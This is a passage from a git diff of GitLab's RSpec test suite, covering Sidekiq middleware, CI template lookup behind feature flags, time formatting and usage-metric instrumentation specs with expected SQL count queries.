- expect { |b| chain.invoke(worker_class_arg, job, queue, redis_pool, &b) }.to yield_control.once
+ context "when load balancing is disabled" do
+ let(:disabled_sidekiq_middlewares) do
+ [
+ Gitlab::Database::LoadBalancing::SidekiqClientMiddleware
+ ]
end
- end
- # Sidekiq documentation states that the worker class could be a string
- # or a class reference. We should test for both
- context "handles string worker_class values" do
- let(:worker_class_arg) { worker_class.to_s }
+ it_behaves_like "a middleware chain", false
+ it_behaves_like "a middleware chain for mailer", false
- it_behaves_like "a client middleware chain"
- end
+ # Sidekiq documentation states that the worker class could be a string
+ # or a class reference. We should test for both
+ context "worker_class as string value" do
+ let(:worker_args) { [worker_class.to_s, { 'args' => job_args }, queue, redis_pool] }
+ let(:middleware_expected_args) { [worker_class.to_s, hash_including({ 'args' => job_args }), queue, redis_pool] }
- context "handles string worker_class values" do
- let(:worker_class_arg) { worker_class }
+ it_behaves_like "a middleware chain", false
+ it_behaves_like "a middleware chain for mailer", false
+ end
+ end
- it_behaves_like "a client middleware chain"
+ context "when load balancing is enabled" do
+ it_behaves_like "a middleware chain", true
+ it_behaves_like "a middleware chain for mailer", true
end
end
end
diff --git a/spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb b/spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb
index 26c83ed6793..226fdb9c948 100644
--- a/spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb
+++ b/spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb
@@ -21,6 +21,55 @@ RSpec.describe Gitlab::Template::GitlabCiYmlTemplate do
end
end
+ describe '.find' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:other_project) { create(:project) }
+
+ described_class::TEMPLATES_WITH_LATEST_VERSION.keys.each do |key|
+ it "finds the latest template for #{key}" do
+ result = described_class.find(key, project)
+ expect(result.full_name).to eq("#{key}.latest.gitlab-ci.yml")
+ expect(result.content).to be_present
+ end
+
+ context 'when `redirect_to_latest_template` feature flag is disabled' do
+ before do
+ stub_feature_flags("redirect_to_latest_template_#{key.underscore.tr('/', '_')}".to_sym => false)
+ end
+
+ it "finds the stable template for #{key}" do
+ result = described_class.find(key, project)
+ expect(result.full_name).to eq("#{key}.gitlab-ci.yml")
+ expect(result.content).to be_present
+ end
+ end
+
+ context 'when `redirect_to_latest_template` feature flag is enabled on the project' do
+ before do
+ stub_feature_flags("redirect_to_latest_template_#{key.underscore.tr('/', '_')}".to_sym => project)
+ end
+
+ it "finds the latest template for #{key}" do
+ result = described_class.find(key, project)
+ expect(result.full_name).to eq("#{key}.latest.gitlab-ci.yml")
+ expect(result.content).to be_present
+ end
+ end
+
+ context 'when `redirect_to_latest_template` feature flag is enabled on the other project' do
+ before do
+ stub_feature_flags("redirect_to_latest_template_#{key.underscore.tr('/', '_')}".to_sym => other_project)
+ end
+
+ it "finds the stable template for #{key}" do
+ result = described_class.find(key, project)
+ expect(result.full_name).to eq("#{key}.gitlab-ci.yml")
+ expect(result.content).to be_present
+ end
+ end
+ end
+ end
+
describe '#content' do
it 'loads the full file' do
gitignore = subject.new(Rails.root.join('lib/gitlab/ci/templates/Ruby.gitlab-ci.yml'))
diff --git a/spec/lib/gitlab/time_tracking_formatter_spec.rb b/spec/lib/gitlab/time_tracking_formatter_spec.rb
index 8bbd1263057..ab0611e6b6a 100644
--- a/spec/lib/gitlab/time_tracking_formatter_spec.rb
+++ b/spec/lib/gitlab/time_tracking_formatter_spec.rb
@@ -47,5 +47,11 @@ RSpec.describe Gitlab::TimeTrackingFormatter do
it { expect(subject).to eq('1w 1d 1h 40m') }
end
+
+ context 'handles negative time input' do
+ let(:num_seconds) { -178_800 }
+
+ it { expect(subject).to eq('-1w 1d 1h 40m') }
+ end
end
end
diff --git a/spec/lib/gitlab/tracking/standard_context_spec.rb b/spec/lib/gitlab/tracking/standard_context_spec.rb
index 289818266bd..a0fb6a270a5 100644
--- a/spec/lib/gitlab/tracking/standard_context_spec.rb
+++ b/spec/lib/gitlab/tracking/standard_context_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Gitlab::Tracking::StandardContext do
context 'staging' do
before do
- stub_config_setting(url: 'https://staging.gitlab.com')
+ stub_config_setting(url: Gitlab::Saas.staging_com_url)
end
include_examples 'contains environment', 'staging'
@@ -30,7 +30,7 @@ RSpec.describe Gitlab::Tracking::StandardContext do
context 'production' do
before do
- stub_config_setting(url: 'https://gitlab.com')
+ stub_config_setting(url: Gitlab::Saas.com_url)
end
include_examples 'contains environment', 'production'
@@ -38,7 +38,7 @@ RSpec.describe Gitlab::Tracking::StandardContext do
context 'org' do
before do
- stub_config_setting(url: 'https://dev.gitlab.org')
+ stub_config_setting(url: Gitlab::Saas.dev_url)
end
include_examples 'contains environment', 'org'
diff --git a/spec/lib/gitlab/usage/metric_definition_spec.rb b/spec/lib/gitlab/usage/metric_definition_spec.rb
index 92e51b8ea23..1ed639b2f7d 100644
--- a/spec/lib/gitlab/usage/metric_definition_spec.rb
+++ b/spec/lib/gitlab/usage/metric_definition_spec.rb
@@ -44,7 +44,7 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
end
it 'has all definitons valid' do
- expect { described_class.definitions }.not_to raise_error(Gitlab::Usage::Metric::InvalidMetricError)
+ expect { described_class.definitions }.not_to raise_error
end
describe '#key' do
@@ -73,6 +73,7 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
:distribution | 'test'
:tier | %w(test ee)
:name | 'count_<adjective_describing>_boards'
+ :repair_issue_url | nil
:instrumentation_class | 'Metric_Class'
:instrumentation_class | 'metricClass'
@@ -103,6 +104,19 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
end
end
end
+
+ context 'conditional validations' do
+ context 'when metric has broken status' do
+ it 'has to have repair issue url provided' do
+ attributes[:status] = 'broken'
+ attributes.delete(:repair_issue_url)
+
+ expect(Gitlab::ErrorTracking).to receive(:track_and_raise_for_dev_exception).at_least(:once).with(instance_of(Gitlab::Usage::Metric::InvalidMetricError))
+
+ described_class.new(path, attributes).validate!
+ end
+ end
+ end
end
describe 'statuses' do
@@ -153,7 +167,7 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
is_expected.to be_one
end
- it 'when the same meric is defined multiple times raises exception' do
+ it 'when the same metric is defined multiple times raises exception' do
write_metric(metric1, path, yaml_content)
write_metric(metric2, path, yaml_content)
diff --git a/spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb b/spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb
index 0fb3a69df05..8e02f4f562c 100644
--- a/spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb
@@ -25,34 +25,6 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Aggregate, :clean_gitlab_redi
end
context 'aggregated_metrics_data' do
- shared_examples 'db sourced aggregated metrics without database_sourced_aggregated_metrics feature' do
- before do
- allow_next_instance_of(described_class) do |instance|
- allow(instance).to receive(:aggregated_metrics).and_return(aggregated_metrics)
- end
- end
-
- context 'with disabled database_sourced_aggregated_metrics feature flag' do
- before do
- stub_feature_flags(database_sourced_aggregated_metrics: false)
- end
-
- let(:aggregated_metrics) do
- [
- aggregated_metric(name: "gmau_2", source: "database", time_frame: time_frame)
- ]
- end
-
- it 'skips database sourced metrics', :aggregate_failures do
- results = {}
- params = { start_date: start_date, end_date: end_date, recorded_at: recorded_at }
-
- expect(sources::PostgresHll).not_to receive(:calculate_metrics_union).with(params.merge(metric_names: %w[event1 event2 event3]))
- expect(aggregated_metrics_data).to eq(results)
- end
- end
- end
-
shared_examples 'aggregated_metrics_data' do
context 'no aggregated metric is defined' do
it 'returns empty hash' do
@@ -237,7 +209,6 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Aggregate, :clean_gitlab_redi
let(:time_frame) { ['all'] }
it_behaves_like 'database_sourced_aggregated_metrics'
- it_behaves_like 'db sourced aggregated metrics without database_sourced_aggregated_metrics feature'
context 'redis sourced aggregated metrics' do
let(:aggregated_metrics) { [aggregated_metric(name: 'gmau_1', time_frame: time_frame)] }
@@ -278,7 +249,6 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Aggregate, :clean_gitlab_redi
it_behaves_like 'database_sourced_aggregated_metrics'
it_behaves_like 'redis_sourced_aggregated_metrics'
- it_behaves_like 'db sourced aggregated metrics without database_sourced_aggregated_metrics feature'
end
describe '.aggregated_metrics_monthly_data' do
@@ -289,7 +259,6 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Aggregate, :clean_gitlab_redi
it_behaves_like 'database_sourced_aggregated_metrics'
it_behaves_like 'redis_sourced_aggregated_metrics'
- it_behaves_like 'db sourced aggregated metrics without database_sourced_aggregated_metrics feature'
end
end
end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/count_boards_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/count_boards_metric_spec.rb
index 52c1ccdcd47..6f03c5a9ae3 100644
--- a/spec/lib/gitlab/usage/metrics/instrumentations/count_boards_metric_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/count_boards_metric_spec.rb
@@ -5,5 +5,8 @@ require 'spec_helper'
RSpec.describe Gitlab::Usage::Metrics::Instrumentations::CountBoardsMetric do
let_it_be(:board) { create(:board) }
- it_behaves_like 'a correct instrumented metric value', { time_frame: 'all', data_source: 'database' }, 1
+ let(:expected_value) { 1 }
+ let(:expected_query) { 'SELECT COUNT("boards"."id") FROM "boards"' }
+
+ it_behaves_like 'a correct instrumented metric value and query', { time_frame: 'all' }
end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb
index c3b59904f41..183aa03dd8a 100644
--- a/spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb
@@ -5,5 +5,8 @@ require 'spec_helper'
RSpec.describe Gitlab::Usage::Metrics::Instrumentations::CountIssuesMetric do
let_it_be(:issue) { create(:issue) }
- it_behaves_like 'a correct instrumented metric value', { time_frame: 'all', data_source: 'database' }, 1
+ let(:expected_value) { 1 }
+ let(:expected_query) { 'SELECT COUNT("issues"."id") FROM "issues"' }
+
+ it_behaves_like 'a correct instrumented metric value and query', { time_frame: 'all' }
end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/count_users_creating_issues_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/count_users_creating_issues_metric_spec.rb
index 9f4686ab6cd..3fb4c3a4e3f 100644
--- a/spec/lib/gitlab/usage/metrics/instrumentations/count_users_creating_issues_metric_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/count_users_creating_issues_metric_spec.rb
@@ -8,10 +8,18 @@ RSpec.describe Gitlab::Usage::Metrics::Instrumentations::CountUsersCreatingIssue
let_it_be(:old_issue) { create(:issue, author: author, created_at: 2.months.ago) }
context 'with all time frame' do
- it_behaves_like 'a correct instrumented metric value', { time_frame: 'all', data_source: 'database' }, 1
+ let(:expected_value) { 1 }
+ let(:expected_query) { 'SELECT COUNT(DISTINCT "issues"."author_id") FROM "issues"' }
+
+ it_behaves_like 'a correct instrumented metric value and query', { time_frame: 'all' }
end
context 'for 28d time frame' do
- it_behaves_like 'a correct instrumented metric value', { time_frame: '28d', data_source: 'database' }, 1
+ let(:expected_value) { 1 }
+ let(:start) { 30.days.ago.to_s(:db) }
+ let(:finish) { 2.days.ago.to_s(:db) }
+ let(:expected_query) { "SELECT COUNT(DISTINCT \"issues\".\"author_id\") FROM \"issues\" WHERE \"issues\".\"created_at\" BETWEEN '#{start}' AND '#{finish}'" }
+
+ it_behaves_like 'a correct instrumented metric value and query', { time_frame: '28d' }
end
end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/count_users_using_approve_quick_action_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/count_users_using_approve_quick_action_metric_spec.rb
deleted file mode 100644
index 7adba825a13..00000000000
--- a/spec/lib/gitlab/usage/metrics/instrumentations/count_users_using_approve_quick_action_metric_spec.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Usage::Metrics::Instrumentations::CountUsersUsingApproveQuickActionMetric, :clean_gitlab_redis_shared_state do
- before do
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(:i_quickactions_approve, values: 1, time: 1.week.ago)
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(:i_quickactions_approve, values: 1, time: 2.weeks.ago)
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(:i_quickactions_approve, values: 2, time: 2.weeks.ago)
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(:i_quickactions_approve, values: 2, time: 2.months.ago)
- end
-
- it_behaves_like 'a correct instrumented metric value', { time_frame: '28d', data_source: 'redis_hll' }, 2
- it_behaves_like 'a correct instrumented metric value', { time_frame: '7d', data_source: 'redis_hll' }, 1
-end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/hostname_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/hostname_metric_spec.rb
index 83e07200025..95e159a5bf7 100644
--- a/spec/lib/gitlab/usage/metrics/instrumentations/hostname_metric_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/hostname_metric_spec.rb
@@ -3,5 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::Usage::Metrics::Instrumentations::HostnameMetric do
- it_behaves_like 'a correct instrumented metric value', { time_frame: 'none', data_source: 'ruby' }, Gitlab.config.gitlab.host
+ let(:expected_value) { Gitlab.config.gitlab.host }
+
+ it_behaves_like 'a correct instrumented metric value', { time_frame: 'none' }
end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/redis_hll_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/redis_hll_metric_spec.rb
new file mode 100644
index 00000000000..347a2c779cb
--- /dev/null
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/redis_hll_metric_spec.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::Instrumentations::RedisHLLMetric, :clean_gitlab_redis_shared_state do
+ before do
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(:i_quickactions_approve, values: 1, time: 1.week.ago)
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(:i_quickactions_approve, values: 1, time: 2.weeks.ago)
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(:i_quickactions_approve, values: 2, time: 2.weeks.ago)
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(:i_quickactions_approve, values: 2, time: 2.months.ago)
+ end
+
+ context 'for 28d' do
+ let(:expected_value) { 2 }
+
+ it_behaves_like 'a correct instrumented metric value', { time_frame: '28d', options: { events: ['i_quickactions_approve'] } }
+ end
+
+ context 'for 7d' do
+ let(:expected_value) { 1 }
+
+ it_behaves_like 'a correct instrumented metric value', { time_frame: '7d', options: { events: ['i_quickactions_approve'] } }
+ end
+
+ it 'raise exception if events options is not present' do
+ expect { described_class.new(time_frame: '28d') }.to raise_error(ArgumentError)
+ end
+end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/uuid_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/uuid_metric_spec.rb
index 212dd3dc851..33e7e85611d 100644
--- a/spec/lib/gitlab/usage/metrics/instrumentations/uuid_metric_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/uuid_metric_spec.rb
@@ -3,5 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::Usage::Metrics::Instrumentations::UuidMetric do
- it_behaves_like 'a correct instrumented metric value', { time_frame: 'none' }, Gitlab::CurrentSettings.uuid
+ let(:expected_value) { Gitlab::CurrentSettings.uuid }
+
+ it_behaves_like 'a correct instrumented metric value', { time_frame: 'none' }
end
diff --git a/spec/lib/gitlab/usage/metrics/name_suggestion_spec.rb b/spec/lib/gitlab/usage/metrics/name_suggestion_spec.rb
new file mode 100644
index 00000000000..6955fbcaf5a
--- /dev/null
+++ b/spec/lib/gitlab/usage/metrics/name_suggestion_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::NameSuggestion do
+ describe '#for' do
+ shared_examples 'name suggestion' do
+ it 'return correct name' do
+ expect(described_class.for(operation, relation: relation, column: column)).to match name_suggestion
+ end
+ end
+
+ context 'for count with nil column' do
+ it_behaves_like 'name suggestion' do
+ let(:operation) { :count }
+ let(:relation) { Board }
+ let(:column) { nil }
+ let(:name_suggestion) { /count_boards/ }
+ end
+ end
+
+ context 'for count with column :id' do
+ it_behaves_like 'name suggestion' do
+ let(:operation) { :count }
+ let(:relation) { Board }
+ let(:column) { :id }
+ let(:name_suggestion) { /count_boards/ }
+ end
+ end
+
+ context 'for count distinct with column defined metrics' do
+ it_behaves_like 'name suggestion' do
+ let(:operation) { :distinct_count }
+ let(:relation) { ZoomMeeting }
+ let(:column) { :issue_id }
+ let(:name_suggestion) { /count_distinct_issue_id_from_zoom_meetings/ }
+ end
+ end
+
+ context 'joined relations' do
+ context 'counted attribute comes from source relation' do
+ it_behaves_like 'name suggestion' do
+ # corresponding metric is collected with count(Issue.with_alert_management_alerts.not_authored_by(::User.alert_bot), start: issue_minimum_id, finish: issue_maximum_id)
+ let(:operation) { :count }
+ let(:relation) { Issue.with_alert_management_alerts.not_authored_by(::User.alert_bot) }
+ let(:column) { nil }
+ let(:name_suggestion) { /count_<adjective describing\: '\(issues\.author_id != \d+\)'>_issues_<with>_alert_management_alerts/ }
+ end
+ end
+ end
+
+ context 'strips off time period constraint' do
+ it_behaves_like 'name suggestion' do
+ # corresponding metric is collected with distinct_count(::Clusters::Cluster.aws_installed.enabled.where(time_period), :user_id)
+ let(:operation) { :distinct_count }
+ let(:relation) { ::Clusters::Cluster.aws_installed.enabled.where(created_at: 30.days.ago..2.days.ago ) }
+ let(:column) { :user_id }
+ let(:constraints) { /<adjective describing\: '\(clusters.provider_type = \d+ AND \(cluster_providers_aws\.status IN \(\d+\)\) AND clusters\.enabled = TRUE\)'>/ }
+ let(:name_suggestion) { /count_distinct_user_id_from_#{constraints}_clusters_<with>_#{constraints}_cluster_providers_aws/ }
+ end
+ end
+
+ context 'for sum metrics' do
+ it_behaves_like 'name suggestion' do
+ # corresponding metric is collected with sum(JiraImportState.finished, :imported_issues_count)
+ let(:key_path) { 'counts.jira_imports_total_imported_issues_count' }
+ let(:operation) { :sum }
+ let(:relation) { JiraImportState.finished }
+ let(:column) { :imported_issues_count}
+ let(:name_suggestion) { /sum_imported_issues_count_from_<adjective describing\: '\(jira_imports\.status = \d+\)'>_jira_imports/ }
+ end
+ end
+
+ context 'for redis metrics' do
+ it_behaves_like 'name suggestion' do
+ # corresponding metric is collected with redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics) }
+ let(:operation) { :redis }
+ let(:column) { nil }
+ let(:relation) { nil }
+ let(:name_suggestion) { /<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>/ }
+ end
+ end
+
+ context 'for alt_usage_data metrics' do
+ it_behaves_like 'name suggestion' do
+ # corresponding metric is collected with alt_usage_data(fallback: nil) { operating_system }
+ let(:operation) { :alt }
+ let(:column) { nil }
+ let(:relation) { nil }
+ let(:name_suggestion) { /<please fill metric name>/ }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb b/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb
index 34b073b4729..b4ab9d4861b 100644
--- a/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb
@@ -33,24 +33,6 @@ RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::Generator do
end
context 'joined relations' do
- context 'counted attribute comes from joined relation' do
- it_behaves_like 'name suggestion' do
- # corresponding metric is collected with:
- # distinct_count(
- # ::Clusters::Applications::Ingress.modsecurity_enabled.logging
- # .joins(cluster: :deployments)
- # .merge(::Clusters::Cluster.enabled)
- # .merge(Deployment.success),
- # ::Deployment.arel_table[:environment_id]
- # )
- let(:key_path) { 'counts.ingress_modsecurity_logging' }
- let(:name_suggestion) do
- constrains = /'\(clusters_applications_ingress\.modsecurity_enabled = TRUE AND clusters_applications_ingress\.modsecurity_mode = \d+ AND clusters.enabled = TRUE AND deployments.status = \d+\)'/
- /count_distinct_environment_id_from_<adjective describing\: #{constrains}>_deployments_<with>_<adjective describing\: #{constrains}>_clusters_<having>_<adjective describing\: #{constrains}>_clusters_applications_ingress/
- end
- end
- end
-
context 'counted attribute comes from source relation' do
it_behaves_like 'name suggestion' do
# corresponding metric is collected with count(Issue.with_alert_management_alerts.not_authored_by(::User.alert_bot), start: issue_minimum_id, finish: issue_maximum_id)
diff --git a/spec/lib/gitlab/usage/metrics/query_spec.rb b/spec/lib/gitlab/usage/metrics/query_spec.rb
new file mode 100644
index 00000000000..60c8d044a64
--- /dev/null
+++ b/spec/lib/gitlab/usage/metrics/query_spec.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::Query do
+ describe '.count' do
+ it 'returns the raw SQL' do
+ expect(described_class.for(:count, User)).to eq('SELECT COUNT("users"."id") FROM "users"')
+ end
+
+ it 'does not mix a nil column with keyword arguments' do
+ expect(described_class.for(:count, User, nil)).to eq('SELECT COUNT("users"."id") FROM "users"')
+ end
+ end
+
+ describe '.distinct_count' do
+ it 'returns the raw SQL' do
+ expect(described_class.for(:distinct_count, Issue, :author_id)).to eq('SELECT COUNT(DISTINCT "issues"."author_id") FROM "issues"')
+ end
+
+ it 'does not mix a nil column with keyword arguments' do
+ expect(described_class.for(:distinct_count, Issue, nil)).to eq('SELECT COUNT(DISTINCT "issues"."id") FROM "issues"')
+ end
+ end
+
+ describe '.sum' do
+ it 'returns the raw SQL' do
+ expect(described_class.for(:sum, Issue, :weight)).to eq('SELECT SUM("issues"."weight") FROM "issues"')
+ end
+ end
+
+ describe 'estimate_batch_distinct_count' do
+ it 'returns the raw SQL' do
+ expect(described_class.for(:estimate_batch_distinct_count, Issue, :author_id)).to eq('SELECT COUNT(DISTINCT "issues"."author_id") FROM "issues"')
+ end
+ end
+
+ describe '.histogram' do
+ it 'returns the histogram sql' do
+ expect(described_class.for(:histogram, AlertManagement::HttpIntegration.active,
+ :project_id, buckets: 1..2, bucket_size: 101))
+ .to match(/^WITH "count_cte" AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported}/)
+ end
+ end
+
+ describe 'other' do
+ it 'raise ArgumentError error' do
+ expect { described_class.for(:other, nil) }.to raise_error(ArgumentError, 'other operation not supported')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage_data/topology_spec.rb b/spec/lib/gitlab/usage_data/topology_spec.rb
index b8462e0290c..737580e3493 100644
--- a/spec/lib/gitlab/usage_data/topology_spec.rb
+++ b/spec/lib/gitlab/usage_data/topology_spec.rb
@@ -95,7 +95,7 @@ RSpec.describe Gitlab::UsageData::Topology do
},
{
name: 'web',
- server: 'unicorn'
+ server: 'puma'
}
]
}
@@ -724,7 +724,7 @@ RSpec.describe Gitlab::UsageData::Topology do
},
# instance 2
{
- 'metric' => { 'instance' => 'instance2:8080', 'job' => 'gitlab-rails', 'server' => 'unicorn' },
+ 'metric' => { 'instance' => 'instance2:8080', 'job' => 'gitlab-rails', 'server' => 'puma' },
'value' => [1000, '1']
}
])
diff --git a/spec/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter_spec.rb
index 6486a5a22ba..041fc2f20a8 100644
--- a/spec/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter_spec.rb
@@ -352,14 +352,6 @@ RSpec.describe Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter, :cl
it_behaves_like 'a tracked merge request unique event' do
let(:action) { described_class::MR_INCLUDING_CI_CONFIG_ACTION }
end
-
- context 'when FF usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile is disabled' do
- before do
- stub_feature_flags(usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile: false)
- end
-
- it_behaves_like 'not tracked merge request unique event'
- end
end
context 'when merge request does not include any ci config change' do
@@ -386,4 +378,20 @@ RSpec.describe Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter, :cl
let(:action) { described_class::MR_LABELS_CHANGED_ACTION }
end
end
+
+ describe '.track_loading_conflict_ui_action' do
+ subject { described_class.track_loading_conflict_ui_action(user: user) }
+
+ it_behaves_like 'a tracked merge request unique event' do
+ let(:action) { described_class::MR_LOAD_CONFLICT_UI_ACTION }
+ end
+ end
+
+ describe '.track_resolve_conflict_action' do
+ subject { described_class.track_resolve_conflict_action(user: user) }
+
+ it_behaves_like 'a tracked merge request unique event' do
+ let(:action) { described_class::MR_RESOLVE_CONFLICT_ACTION }
+ end
+ end
end
diff --git a/spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb
index c484595ee71..78cc27c8569 100644
--- a/spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Gitlab::UsageDataCounters::PackageEventCounter, :clean_gitlab_red
end
it 'includes the right events' do
- expect(described_class::KNOWN_EVENTS.size).to eq 51
+ expect(described_class::KNOWN_EVENTS.size).to eq 52
end
described_class::KNOWN_EVENTS.each do |event|
diff --git a/spec/lib/gitlab/usage_data_queries_spec.rb b/spec/lib/gitlab/usage_data_queries_spec.rb
index 695859c8e6e..438ae3efd11 100644
--- a/spec/lib/gitlab/usage_data_queries_spec.rb
+++ b/spec/lib/gitlab/usage_data_queries_spec.rb
@@ -13,9 +13,7 @@ RSpec.describe Gitlab::UsageDataQueries do
end
it 'does not mix a nil column with keyword arguments' do
- expect(described_class).to receive(:raw_sql).with(User, nil)
-
- described_class.count(User, start: 1, finish: 2)
+ expect(described_class.count(User, nil)).to eq('SELECT COUNT("users"."id") FROM "users"')
end
end
@@ -25,9 +23,7 @@ RSpec.describe Gitlab::UsageDataQueries do
end
it 'does not mix a nil column with keyword arguments' do
- expect(described_class).to receive(:raw_sql).with(Issue, nil, :distinct)
-
- described_class.distinct_count(Issue, nil, start: 1, finish: 2)
+ expect(described_class.distinct_count(Issue, nil, start: 1, finish: 2)).to eq('SELECT COUNT(DISTINCT "issues"."id") FROM "issues"')
end
end
diff --git a/spec/lib/gitlab/usage_data_spec.rb b/spec/lib/gitlab/usage_data_spec.rb
index d4b6ac09261..ea82de186f5 100644
--- a/spec/lib/gitlab/usage_data_spec.rb
+++ b/spec/lib/gitlab/usage_data_spec.rb
@@ -91,7 +91,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(described_class.usage_activity_by_stage_package({})).to eq(
projects_with_packages: 2
)
- expect(described_class.usage_activity_by_stage_package(described_class.last_28_days_time_period)).to eq(
+ expect(described_class.usage_activity_by_stage_package(described_class.monthly_time_range_db_params)).to eq(
projects_with_packages: 1
)
end
@@ -135,7 +135,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
project_clusters_disabled: 2,
project_clusters_enabled: 10
)
- expect(described_class.usage_activity_by_stage_configure(described_class.last_28_days_time_period)).to include(
+ expect(described_class.usage_activity_by_stage_configure(described_class.monthly_time_range_db_params)).to include(
clusters_applications_cert_managers: 1,
clusters_applications_helm: 1,
clusters_applications_ingress: 1,
@@ -185,7 +185,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
snippets: 2,
suggestions: 2
)
- expect(described_class.usage_activity_by_stage_create(described_class.last_28_days_time_period)).to include(
+ expect(described_class.usage_activity_by_stage_create(described_class.monthly_time_range_db_params)).to include(
deploy_keys: 1,
keys: 1,
merge_requests: 1,
@@ -225,7 +225,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
omniauth_providers: ['google_oauth2'],
user_auth_by_provider: { 'group_saml' => 2, 'ldap' => 4, 'standard' => 0, 'two-factor' => 0, 'two-factor-via-u2f-device' => 0, "two-factor-via-webauthn-device" => 0 }
)
- expect(described_class.usage_activity_by_stage_manage(described_class.last_28_days_time_period)).to include(
+ expect(described_class.usage_activity_by_stage_manage(described_class.monthly_time_range_db_params)).to include(
events: 1,
groups: 1,
users_created: 3,
@@ -252,7 +252,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
unique_users_all_imports: 10
)
- expect(described_class.usage_activity_by_stage_manage(described_class.last_28_days_time_period)).to include(
+ expect(described_class.usage_activity_by_stage_manage(described_class.monthly_time_range_db_params)).to include(
unique_users_all_imports: 5
)
end
@@ -294,7 +294,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
gitlab: 2,
gitlab_migration: 2,
gitlab_project: 2,
- manifest: 2
+ manifest: 2,
+ total: 18
},
issue_imports: {
jira: 2,
@@ -326,7 +327,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
groups_imported: Gitlab::UsageData::DEPRECATED_VALUE
}
)
- expect(described_class.usage_activity_by_stage_manage(described_class.last_28_days_time_period)).to include(
